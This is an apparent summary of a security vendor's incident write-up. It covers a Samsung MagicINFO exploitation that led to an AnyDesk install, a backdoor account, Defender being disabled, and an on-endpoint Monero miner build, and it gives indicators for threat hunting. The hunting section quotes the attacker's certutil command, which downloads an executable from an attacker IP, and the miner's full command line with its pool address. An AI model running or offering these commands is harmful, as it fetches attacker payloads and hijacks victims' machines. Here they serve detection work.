The Not So Silent Miner: Threat Actor Compiles Cryptominer on the Endpoint

What it is

A Huntress SOC write-up of an intrusion via Samsung MagicINFO (CVE-2025-4632, an arbitrary file write as system authority, fixed May 2025 after an incomplete fix of CVE-2024-7399). The actor ended by compiling a Monero miner on the endpoint with Silent XMR Miner Builder. The page dates the incident to early September 2026.

How it works

Everything ran as children of tomcat9.exe, the Tomcat service MagicINFO is deployed on. That parent is the link back to the MagicINFO flaw.

flowchart TD
    A[tomcat9.exe via MagicINFO] --> B{AnyDesk download}
    B -->|certutil| X1[Defender removed]
    B -->|PowerShell IWR| X2[Defender removed]
    B -->|third method| C[AnyDesk installed]
    C --> D[Password set, oldadministrator created]
    D --> E[Defender disabled]
    E --> F[Builder compiles miner]

• The AnyDesk payload came from 194.87.89[.]30:8899. The first two attempts, via certutil and then Invoke-WebRequest, were removed by Defender. The page does not say what the third method was.
• The same password was used for AnyDesk and the new oldadministrator account.
• Defender was disabled through SystemSettingsAdminFlows.exe.
• Silent XMR Miner Builder.exe ran from the new user's Documents folder. It spawned csc.exe and cvtres.exe repeatedly, then donut.exe, tcc.exe and MinGW64 cc1.exe and gcc.exe.
• The resulting miner ran as explorer.exe against auto.c3pool.org:19999.

Preconditions / Affected

• Internet-facing Samsung MagicINFO Premium that is unpatched for CVE-2025-4632. The page gives no version numbers.
• The first compromise was reported to the customer, yet eight days later the endpoint showed new post-compromise activity through the same access vector. The page does not say what remediation was applied or why it failed.

What to do

• Patch MagicINFO, and do not treat a single cleanup as sufficient. Check for persistence such as AnyDesk and local accounts.
• Hunt for these indicators:
• tomcat9.exe as the ancestor of certutil, PowerShell downloads, AnyDesk, or account creation.
• An oldadministrator account and AnyDesk installed under C:\ProgramData\AnyDesk.exe.
• Defender being disabled via SystemSettingsAdminFlows.exe.
• Compiler processes (csc.exe, cvtres.exe, tcc.exe, gcc.exe, cc1.exe, donut.exe) with an unsigned parent.
• explorer.exe launched with mining arguments. Legitimate Explorer never takes these.
• The page's explorer.exe command line, useful as a signature (the --user value is redacted on the page):

C:\Windows\explorer.exe  --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr  --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=auto.c3pool.org:19999 --user=[REDACTED] --pass=186605 --cpu-max-threads-hint=100 --cinit-idle-wait=5 --cinit-idle-cpu=100

• The first-attempt download command, for matching:

C:\Windows\System32\cmd.exe /c certutil -urlcache -split -f http://194.87.89.30:8899/anydesk.exe C:\ProgramData\AnyDesk.exe 2>&1

• The page recommends treating repeated remote-access-tool download attempts as a compromise signal.

Caveats

• Defender caught the first two download attempts, but the actor then disabled it. Blocking alone did not stop the intrusion.
• The page calls on-endpoint compilation an outlier. Its stated benefit to the actor is tuning to the CPU architecture, and the cost is noisy telemetry. The compiler-chain detection therefore catches an unusual technique, not a common one.
• The page says the miner "potentially" used the GPU, and it does not verify this.